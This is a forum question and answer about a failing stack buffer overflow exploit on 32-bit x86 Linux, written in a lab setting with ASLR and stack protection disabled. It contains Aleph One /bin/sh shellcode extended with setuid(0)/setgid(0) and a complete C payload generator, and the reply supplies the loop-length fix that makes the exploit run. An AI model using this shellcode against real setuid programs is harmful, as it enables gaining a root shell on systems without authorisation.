I tried to exploiting buffer overflow. In the exploit codeI use the Aleph-One shellcode.\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/shExploitation is normal, but I modified a little shellcodeIn order to execute setuid(0) and setgid(0), on exploitI have changed the owner of the exploit into root.\x31\xdb\x89\xd8\xb0\x17\xcd\x80 // setuid(0)\x31\xdb\x89\xd8\xb0\x2e\xcd\x80 // setgid(0)\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/shWhen in execution, I get the message Illegal Instruction (core dumped)Note:I have disabled ASLRThe vulnerable and exploit programs are compiled using flag   -fno-stack-protector -z execstack -mpreferred-stack-boundary=2Complete exploit code :#include <string.h>#include <stdio.h>#include <unistd.h>#include <stdlib.h>char *prog = ./bof4;char shellcode[] =    //\xeb\x0appssssffff   \x31\xdb\x89\xd8\xb0\x17\xcd\x80   \x31\xdb\x89\xd8\xb0\x2e\xcd\x80   \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b   \x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd   \x80\xe8\xdc\xff\xff\xff/bin/sh;int main (int argc, char **argv) {    char buff[111];    int i, j;    int addr;    if (argc > 1)            sscanf(*(argv+1), %x, &addr);    else            exit(0);    for (i = 0; i < 35; i++) {            *(buff+i) = 0x90;    }    for (j = 0; j < 45; j++, i++) {            *(buff+i) = *(shellcode+j);    }    for (; i + 4 < 110; i += 4) {            memcpy(buff+i, &addr, 4);    }    buff[108] = 0;    fwrite(buff, strlen(buff), 1, stdout);}Can anyone explain ?
Why always get the message Illegal Instruction (core dumped)?
x86;linux;exploit;buffer overflow
Just by guessing as you has the core dump and could check that for sure.Isn't your issue that the exploit was 45 bytes long and this is what you iterate in the second loop and now when you added more code (setuid(0) & setgid(0)) the loop just finishes in the middle? Extend your second loop by 16 and check.for (j = 0; j < 61; j++, i++) {    *(buff+i) = *(shellcode+j);}